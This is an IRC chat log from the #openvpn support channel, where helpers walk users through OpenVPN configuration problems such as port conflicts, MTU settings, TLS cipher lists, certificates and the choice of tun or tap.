02:02 < pekster> Most of it is at least noted under the "IPv6 Related Options." Most of it. Patches to the docs welcome ;)
02:02 < EugeneKay> Screw it, I'll try --server-ipv6
02:04 < pekster> Here's all I'm doing: http://paste.kde.org/744842/raw/
02:04 < pekster> That's just for the inside tunnel v6 options; my transport is over v4 atm
02:07 < pekster> Whopsie, search&replace didn't handle that well. The prefix of course matches on both parameters
02:14 < EugeneKay> I'm tempted to just run a damn 6in4 over ipv4 on this
02:14 < EugeneKay> The ipv6 transport works great
02:17 <@krzee> or you could always just use --server with ipv4 on the inside
02:17 < EugeneKay> I'm doing that as well; but not putting any meat-y routs inside
02:19 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
02:20 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:20 -!- Cybert1nus is now known as Cybertinus
02:25 < EugeneKay> I think I got it.
02:56 -!- gedO1 [~Thunderbi@esc.ortopedija.lt] has joined #openvpn
02:58 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
02:58 -!- gedO [~Thunderbi@88.119.154.240] has quit [Ping timeout: 256 seconds]
03:02 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:10 -!- MorgyN_ is now known as MorgyN
03:24 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has quit [Read error: Connection reset by peer]
03:34 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:39 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
03:42 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
03:44 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
03:50 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 245 seconds]
03:50 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:58 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
03:58 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:17 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:17 -!- AndChat|698676 [~AndChat69@46.115.49.107] has joined #openvpn
04:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
04:19 -!- DrCode_ is now known as DrCode
04:20 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 240 seconds]
04:33 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
04:34 -!- AndChat|698676 [~AndChat69@46.115.49.107] has quit [Ping timeout: 260 seconds]
04:36 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
04:44 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:45 -!- ele_ [~maarten@pinky.elexer.com] has quit [Ping timeout: 264 seconds]
04:47 -!- Ungi [~AndChat69@46.115.49.107] has joined #openvpn
04:49 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
04:52 -!- gedO1 [~Thunderbi@esc.ortopedija.lt] has quit [Ping timeout: 256 seconds]
04:52 -!- Ungi [~AndChat69@46.115.49.107] has quit [Ping timeout: 264 seconds]
04:58 -!- gedO [~Thunderbi@2002:5877:9af0:1000:b4fd:be04:5b2c:206f] has joined #openvpn
05:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:32 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
05:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:39 -!- hazardous [~meepo@openvpn/user/hazardous] has joined #openvpn
05:39 -!- mode/#openvpn [+v hazardous] by ChanServ
05:42 -!- Ungi [~AndChat69@46.115.49.107] has joined #openvpn
05:47 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
05:49 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
05:50 -!- Ungi [~AndChat69@46.115.49.107] has quit [Ping timeout: 240 seconds]
05:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
05:57 -!- mode/#openvpn [+o plaisthos] by ChanServ
06:02 -!- Ungi [~AndChat69@46.115.34.10] has joined #openvpn
06:04 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
06:46 -!- Devastator- [~devas@186.214.15.156] has joined #openvpn
06:47 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
06:53 -!- AndChat|698676 [~AndChat69@46.115.84.70] has joined #openvpn
06:54 -!- Ungi [~AndChat69@46.115.34.10] has quit [Ping timeout: 240 seconds]
07:02 -!- AndChat|698676 [~AndChat69@46.115.84.70] has quit [Ping timeout: 240 seconds]
07:04 -!- MrPocketz [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Changing host]
07:04 -!- MrPocketz [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
07:07 -!- Ungi [~AndChat69@46.115.84.70] has joined #openvpn
07:21 -!- xTz [xtz@93.152.166.203] has joined #openvpn
07:28 -!- Zepher [~Zepher@178-84-177-218.dynamic.upc.nl] has joined #openvpn
07:28 < Zepher> Goodday.
07:31 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
07:31 -!- mode/#openvpn [+o mattock] by ChanServ
07:31 <@ecrist> hi
07:35 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
07:37 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:43 -!- Ungi [~AndChat69@46.115.84.70] has quit [Read error: Connection reset by peer]
07:43 -!- Ungi [~AndChat69@46.115.84.70] has joined #openvpn
07:49 -!- Ungi [~AndChat69@46.115.84.70] has quit [Read error: Connection reset by peer]
07:50 -!- Ungi [~AndChat69@46.115.84.70] has joined #openvpn
07:51 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
07:53 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
07:53 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
07:59 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:04 -!- Devastator- [~devas@186.214.15.156] has quit [Changing host]
08:04 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
08:04 -!- Devastator- is now known as Devastator
08:05 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 248 seconds]
08:07 -!- MrBIOS [~aperez@c-67-169-178-48.hsd1.ca.comcast.net] has joined #openvpn
08:08 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:16 -!- Ungi [~AndChat69@46.115.84.70] has quit [Ping timeout: 248 seconds]
08:19 -!- Ungi [~AndChat69@46.115.66.48] has joined #openvpn
08:22 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
08:26 -!- Ungi [~AndChat69@46.115.66.48] has quit [Ping timeout: 256 seconds]
08:33 -!- CookieNinja is now known as OctoNinja
08:36 -!- OctoNinja is now known as CookieNinja
08:40 -!- p3rror [~p3rror@41.249.253.52] has left #openvpn ["Leaving"]
08:44 -!- MrBIOS [~aperez@c-67-169-178-48.hsd1.ca.comcast.net] has quit [Quit: MrBIOS]
09:04 -!- MrBIOS [~aperez@65.sub-70-197-9.myvzw.com] has joined #openvpn
09:11 < MrBIOS> morning, folks
09:11 <@krzee> mornin
09:11 < MrBIOS> I seem to be unable to get a second instance of OpenVPN to run on a different port on the same host
09:11 <@krzee> the different port must be in use
09:11 < MrBIOS> for now, I'm manually starting the daemon and specifying a different config file with the alternate port numbers defined
09:12 < MrBIOS> and yet, when I start it, it tells me the *default* port is already bound, and then exits
09:12 <@krzee> yes? thats how you do it
09:12 <@krzee> what os?
09:12 < MrBIOS> it's as if it's wholly ignoring the parameters
09:12 < MrBIOS> linux
09:12 <@krzee> how are you starting it?
09:13 < MrBIOS> manually, at the command line
09:13 < MrBIOS>  /usr/sbin/openvpn --writepid /var/run/openvpn.server-tcp.pid --daemon ovpn-server-tcp --cd /etc/openvpn --config /etc/openvpn/server-tcp.conf --log /var/log/openvpn-tcp.log
09:13 <@krzee> ps auxw|grep open
09:13 <@krzee> are you root?
09:13 < MrBIOS> I am
09:14 <@krzee> show me the above cmd
09:14 < MrBIOS> only the default is running: nobody   16352 10.6  0.7  59552 32144 ?        Rs   May13 438:43 /usr/sbin/openvpn --writepid /var/run/openvpn.server.pid --daemon ovpn-server --cd /etc/openvpn --config /etc/openvpn/server.conf
09:14 < MrBIOS> I almost wonder if this is a bug
09:14 < MrBIOS> I'm running 2.1.3
09:14 <@krzee> show me both /etc/openvpn/server.conf and  /etc/openvpn/server-tcp.conf
09:14 <@krzee> oh go update
09:14 <@krzee> thats rather old now
09:14 <@krzee> by years
09:15 < MrBIOS> not surprsed
09:15 < MrBIOS> the exact message is Wed May 15 11:23:48 2013 MANAGEMENT: Socket bind failed on local address [AF_INET]127.0.0.1:1193: Address already in use
09:15 <@krzee> ahh
09:15 < MrBIOS> why it's trying to bind again on port 1193 on localhost, I have no idae
09:15 <@krzee> change the management port in 1
09:15 <@krzee> you used --management in both
09:15 < MrBIOS> ah, yes, I'm a tard
09:16 < MrBIOS> thanks for playing
09:16 <@krzee> yw
09:16 < MrBIOS> =]
09:19 < MrBIOS> krzee: the guy who configured our OpenVPN server originally used tun-mtu 9000, which seems a bit insane to me
09:19 < MrBIOS> thoughts?
09:22 < pekster> How did you go about verifying that any connecting client would have a PMTU of 9000 when connecting to the server?
09:23 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
09:26 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
09:31 -!- gedO [~Thunderbi@2002:5877:9af0:1000:b4fd:be04:5b2c:206f] has quit [Ping timeout: 252 seconds]
09:36 -!- gedO [~Thunderbi@2002:5877:9af0:1000:b4fd:be04:5b2c:206f] has joined #openvpn
09:45 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 248 seconds]
09:54 -!- abyss [~abyss@i-free.pl] has joined #openvpn
09:59 -!- abyss [~abyss@i-free.pl] has quit [Remote host closed the connection]
09:59 -!- MrBIOS [~aperez@65.sub-70-197-9.myvzw.com] has quit [Quit: MrBIOS]
10:00 -!- abyss [~abyss@i-free.pl] has joined #openvpn
10:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
10:05 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 252 seconds]
10:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:09 -!- abyss [~abyss@i-free.pl] has joined #openvpn
10:12 -!- abyss_ [~abyss@i-free.pl] has joined #openvpn
10:12 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
10:13 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 240 seconds]
10:14 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Client Quit]
10:16 -!- raidz_away is now known as raidz
10:18 -!- MrBIOS [~aperez@50-0-117-119.dedicated.static.sonic.net] has joined #openvpn
10:20 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
10:25 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
10:30 -!- deegen [~deegen@S01060023bee90320.gv.shawcable.net] has joined #openvpn
10:34 < MrBIOS> @pekster I didn't
10:34 < MrBIOS> (I didn't set it up)
10:35 < pekster> Well, using a bit of logic, is it likely that *anyone* would connect with an MTU <9000? Remember that 1500 is the de-facto default, so you'd basically have to assure all your clients are connecting from a closed network, not the global Internet where 1500 is common (and 1492 for PPPoE users)
10:36 < pekster> There's a reason the manpage suggests it's best not to mess with that option unless you know what you're doing
10:37 < MrBIOS> I know, I'm the one who read the man page :)
10:37 < MrBIOS> the guy I was hired to sideline apparently didn't :P
10:42 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
10:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:44 -!- BlueShark [BlueShark@unaffiliated/blueshark] has joined #openvpn
10:46 < BlueShark> Hi, I'm trying to set up OpenVPN on my Debian VPS. I followed the instructions on http://aahank.com/2013/debian-ubuntu-vpn-server/ . But when I try to do "/etc/init.d/openvpn start", it's giving the error "Starting virtual private network daemon: filmygirl failed!". What could be wrong?
10:47 < BlueShark> This is what I found when I did "grep ovpn /var/log/syslog" : http://pastie.org/private/i7ljwz8qidykztwai2nkuq . But I can't figure out what's wrong. Could someone help?
10:47 < BlueShark> !welcome
10:47 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:47 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:48 < BlueShark> !howto
10:48 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:51 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
10:59 < rob0> Did you read where it says, "Cannot load certificate file mykey.crt: ... No such file or directory"?
10:59 < rob0> This VPS isn't openvz, is it?
11:01 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has quit [Quit: Bye]
11:09 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
11:17 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
11:23 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
11:23 -!- AndChat|698676 [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
11:34 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
11:34 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
11:34 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:38 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:49 < BlueShark> rob0: nope, this isn't
11:58 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Connection reset by peer]
12:00 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:19 -!- gedO [~Thunderbi@2002:5877:9af0:1000:b4fd:be04:5b2c:206f] has quit [Remote host closed the connection]
12:45 -!- dahankzter [~quassel@37-247-8-75.customers.ownit.se] has joined #openvpn
12:45 < dahankzter> After upgrading to the latest openvpn in Archlinux my connection fails really fast and google leads me to basically only this site: https://community.openvpn.net/openvpn/changeset/3b23b18dddb8f8f4a6ac6959b844b63356b59e87
12:45 <@vpnHelper> Title: Changeset 3b23b18 – OpenVPN Community (at community.openvpn.net)
12:46 < dahankzter> At least one other user is affected https://bbs.archlinux.org/viewtopic.php?pid=1273760#p1273760
12:46 <@vpnHelper> Title: OpenVPN worked before Arch udpate; now exits due to fatal error (Page 1) / Networking, Server, and Protection / Arch Linux Forums (at bbs.archlinux.org)
12:46 < dahankzter> It seems to be the translation to OpenSSL names that fail for some for me unknowable reason
12:46 < pekster> More people here too, so you're more likely to get additional visibility. That said, why don't you use --tls-cipher as indicated in the manpage and use a *list* of ciphers, not blindly copy things from apache's default config?
12:46 < dahankzter> Anyone has any idea how to fix it?
12:47 < pekster> Don't use bad provider's config files?
12:47 < dahankzter> They worked fine before and downgrading still works
12:47 < dahankzter> ill try it though
12:48 < pekster> They may have "worked" but it wasn't correct then for what the manpage was expecting
12:48 -!- kubbing [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has joined #openvpn
12:48 < pekster> And you should use the IANA names anyway; the openssl names are now deprecated but supported to let people roll over to the new ones
12:49 < pekster> Stupid provider too if they can't be bothered to test a point-release months after it's released. Makes you wonder what else they got wrong
12:51 < dahankzter> uhh it actually does
12:54 < pekster> And honestly, if you're using a cipher string over 4k anyway you're doing it reall wrong
12:55 < dahankzter> the config has : separated tls-cipher list defined, are the values just wrong in the list?
12:55 < pekster> The fourm link you had uses syntax that is *not* what you see in `openvpn --show-ciphers`
12:56 < pekster> Don't use the bad apache junk. Do you *really* intend to have that string be over 4096 characters long? What kind of usecase do you need that for?
12:56 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:56 < dahankzter> Ah well bit of noob here but why not?
12:56 < pekster> Post some configs, but if you're using the !ADH:!SSLv2:!NULL... junk you should stop that. define the ciphers-suites you want to use, not a list of dozens/hundreds of them
12:56 < pekster> Becuase that's not what the manpage asks for
12:57 < dahankzter> correct me if I am wrong but doesnt that mean that the server supports the same junk list?
12:57 < pekster> And it's not how you secure openvpn properly. The whole point of that is to limit the allowed cipher-suites the client you're configuring uses. OpenVPN only supports a handful, so why would you use directives that add hundreds of them
12:57 < pekster> I have no idea; do you control the server?
12:57 < dahankzter> nop
12:57 < pekster> My point is openvpn *doesn't* support all that crap
12:58 < pekster> It's 100% pointless to add ciphers to that list that openvpn doesn't even support. Why would you list a cipher that can't be used in a list of allowable ciphers?
12:58 < dahankzter> when you put it that way...
12:58 < pekster> So, if you want/need that option, read the manpage, use the --show-tls option, and select what you *intend* to support from a security perspective
12:59 < pekster> The real purpose here is to prevent a potential MITM from doing a TLS-downgrade attack to a cihper-suite that's easier for them to attack
12:59 <@krzee> but since you dont control the server, you can only use what its using
12:59 < dahankzter> ok got it. Thx! Ill see if i can poke the server guys
13:00 < pekster> krzee: If their server is set up as poorly as the garbage they ship to clients I'm guessing it's just as screwed up. Either copied off some incorrrect wiki/forum somewhere, or copied from some distro's apache config. Dunno why folks pay money to people who don't know what they're doing :\
13:01 <@krzee> the same folks are like "hey we bought a cert from a CA, lets use that for our pki!"
13:01 <@krzee> meanwhile ~ 197 people in here *facepalm*
13:01 < EugeneKay> 195; the bot doesn't count and I just drink.
13:02 < pekster> That *can* be done properly, but it's usually pointless and the wrong thing except in very special use-cases
13:02 <@krzee> EugeneKay, the bot facepalms at it too
13:02 <@krzee> stupid_ca_usage.py
13:04 < pekster> There have been folks now and then with pre-deployed PKI's across a domain that want to integegrate openvpn into them, either via additional LDAP/SQL type backends or cert values to restrict auth to a subset of cert holders. In most cases it's just easier to spin off a CA or sub-CA for the VPN though
13:05 < BlueShark> Should I transfer certificate and key files in /etc/openvpn/easy-rsa/2.0/keys/ to my PC?
13:05 <@krzee> so long as the primary CA cant issue certs
13:05 <@krzee> (the one in control of company X)
13:05 < BlueShark> I'm following https://library.linode.com/networking/openvpn/debian-6-squeeze#sph_id6
13:05 <@vpnHelper> Title: Secure Communications with OpenVPN on Debian 6 (Squeeze) – Linode Library (at library.linode.com)
13:05 <@krzee> BlueShark,
13:05 <@krzee> !pki
13:05 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
13:05 < pekster> Even that's okay as long as you have a way to verify people beyond simply 'signed by $CA_outside_your_control'
13:05 <@vpnHelper> signed specially as a server (see !servercert)
13:06 < BlueShark> krzee: Do I need to transfer those files to my PC?
13:06 <@krzee> BlueShark, it says what goes where at the link i gave
13:07 < BlueShark> I need to start from scratch.
13:08 < BlueShark> How can I do that? Uninstalling and re-installing will clear all changes?
13:08 <@krzee> it says on the link
13:08 <@krzee> !read
13:08 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
13:09 < BlueShark> No, I was following a different tutorial and I think I messed up the configs. So, I just want to start fresh. If I uninstall and re-install openvpn package, will that clear all the existing changes I've made?
13:09 < rob0> "Uninstalling and re-installing"? Just delete your config file and start again.
13:10 < BlueShark> Okay.
13:12 -!- lbft- [~lbft@tools2.lbft.net] has joined #openvpn
13:12 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has quit [Ping timeout: 264 seconds]
13:14 < dahankzter> Found the operator they told me to just comment out the tls/cipher line and that did it
13:16 -!- dahankzter [~quassel@37-247-8-75.customers.ownit.se] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
13:17 <@krzee> BlueShark, i get it, im just saying read the link i gave you
13:17 <@krzee> theres some script named clean-all or something
13:18 <@krzee> !walkthrough
13:18 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
13:21 < pekster> The howto also has a terse run-through to using EasyRSA to generate openvpn certs
13:24 < BlueShark> "Creating configuration files for server and clients" — I'm stuck here. I have the sample config files in /usr/share/doc/openvpn but I don't know which parts to edit
13:24 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
13:26 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
13:28 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
13:38 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
13:38 -!- mode/#openvpn [+v s7r] by ChanServ
13:42 < pekster> The !howto guide has samples with generous comments explaining each section, and the manpage has further info about any given directive
13:43 < pekster> That should provide reading to get you started; if you're confused about one part you're better off asking a specific question referencing what you've learned from those sources
13:44 -!- kubbing_ [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has joined #openvpn
13:44 -!- kubbing [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
13:52 -!- MrBIOS [~aperez@50-0-117-119.dedicated.static.sonic.net] has quit [Quit: MrBIOS]
13:55 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:58 -!- rockzone [~b@shill.deseret-tech.com] has joined #openvpn
14:13 -!- rickzone [~b@shill.deseret-tech.com] has joined #openvpn
14:15 -!- tockzone [~b@shill.deseret-tech.com] has joined #openvpn
14:17 -!- rockzone [~b@shill.deseret-tech.com] has quit [Ping timeout: 256 seconds]
14:18 -!- rickzone [~b@shill.deseret-tech.com] has quit [Ping timeout: 256 seconds]
14:19 -!- tockzone [~b@shill.deseret-tech.com] has quit [Ping timeout: 252 seconds]
14:38 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has quit [Quit: ZNC - http://znc.sourceforge.net]
14:48 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
14:51 -!- BlueShark [BlueShark@unaffiliated/blueshark] has quit [Read error: Connection reset by peer]
15:06 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
15:07 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
15:08 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has quit [Ping timeout: 245 seconds]
15:11 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
15:17 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has quit [Ping timeout: 245 seconds]
15:18 -!- mode/#openvpn [+e *!*@gateway/web/freenode/ip.96.246.37.50] by krzee
15:18 -!- pr3dict [60f62532@gateway/web/freenode/ip.96.246.37.50] has joined #openvpn
15:18 <@krzee> hey pr3dict
15:19 < pr3dict> hey there
15:19 <@krzee> so if i understand right you want a vpn to redirect internet over, AND to reach your lans behind openvpn over? is that correct?
15:19 < pr3dict> yeah that sounds about right
15:19 <@krzee> ok so heres how we'll do it
15:19 < pr3dict> im grabbing my config from my home computer real quick
15:19 <@krzee> first we simply get a tunnel working
15:19 <@krzee> THEN we redirect internet
15:19 <@krzee> THEN we go for lans too
15:20 < pr3dict> that sounds like a systematic way of approaching it
15:20 <@krzee> !configs
15:20 < pr3dict> i'll take it
15:20 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
15:20 <@krzee> go ahead and post them like that ^
15:20 < pr3dict> k just a sec
15:20 <@krzee> (and get used to vpnHelper, he'll be telling you everything cause im lazy)
15:20 <@krzee> :D
15:20 < pr3dict> hahahha
15:21 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
15:21 < pr3dict> Im on work computer just gotta gimmi a sec while i remote in
15:22 <@krzee> cool you have about 40 minutes til i go poof for awhile? but that should be plenty time
15:22 <@krzee> at least to give you a big boost in the right direction
15:23 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
15:24 < pr3dict> yeah deff
15:25 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:27 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Read error: Operation timed out]
15:27 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
15:28 < pr3dict> hmmm
15:29 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 264 seconds]
15:29 < pr3dict> im going to paste my entire config if thats fine
15:31 -!- mattock is now known as mattock_afk
15:33 <@krzee> ya, like the bot said to
15:33 <@krzee> no comments, etc
15:33 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
15:33 < pr3dict> well Im using windows so how would i take out the comments
15:34 <@krzee> however you want
15:34 < pr3dict> i guess i can just delete em
15:34 < pr3dict> lol
15:34 <@krzee> is the server windows too?
15:34 < pr3dict> gimmi a sec
15:34 -!- Inst [~Sun@unaffiliated/inst] has joined #openvpn
15:34 < Inst> hi
15:34 < pr3dict> yeah server is windows
15:34 <@krzee> that'll be a pain in your butt
15:34 < Inst> does anyone here know how to tie pyobfsproxy with openvpn together?
15:34 < rob0> rope!
15:34 <@krzee> (you'll need to configure NAT in windows)
15:34 < EugeneKay> Stapler
15:34 <@krzee> !obfs
15:34 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used. in
15:34 <@vpnHelper> static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
15:35 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
15:35 < Inst> excuse me!
15:35 < Inst> sorry, it's been done already
15:35 <@krzee> =]
15:36 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
15:37 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
15:37 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
15:38 -!- awc737 [~awc737@192.249.62.8] has joined #openvpn
15:38 < pr3dict> http://pastebin.com/t05qMQqS
15:39 <@krzee> you dont want to bridge
15:39 < pr3dict> i figured that
15:39 <@krzee> !sample
15:39 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
15:40 < pr3dict> I don't want to bridge?
15:40 <@krzee> !tunortap
15:40 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
15:40 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
15:40 <@krzee> everything you talked about was IP traffic, so no bridge
15:40 < pr3dict> true true
15:40 < pr3dict> ok wait so i need tap
15:40 < pr3dict> thats how i originally had it
15:40 <@krzee> no, you need tun
15:41 < pr3dict> i need tun.... but i do want to pass layer2 traffic
15:41 <@krzee> and you cant bridge with tun
15:41 < pr3dict> gotcha
15:41 <@krzee> oh ya?  what layer2 traffic do you need?
15:41 < pr3dict> interesting
15:41 < rob0> Why did you think you wanted to bridge?
15:41 <@krzee> likely cause half of google leads people towords bridging
15:41 < pr3dict> for dhcp traffic i figured
15:41  * krzee shakes his fist at google
15:42 < pr3dict> lol
15:42 <@krzee> you dont need dhcp traffic
15:42 < pr3dict> ok illt ake it
15:42 < pr3dict> no tap
15:42 <@krzee> and the way you did bridging you would have ignored dhcp anyways ;]
15:42 < pr3dict> ;)
15:42 < pr3dict> im brilliant haha
15:43 <@krzee> lots of people have issues with the tun vs tap thing
15:43 < pr3dict> yeahhhhhh
15:43 < rob0> Rarely do people here actually need to bridge. But oddly, it's common that they think they do.
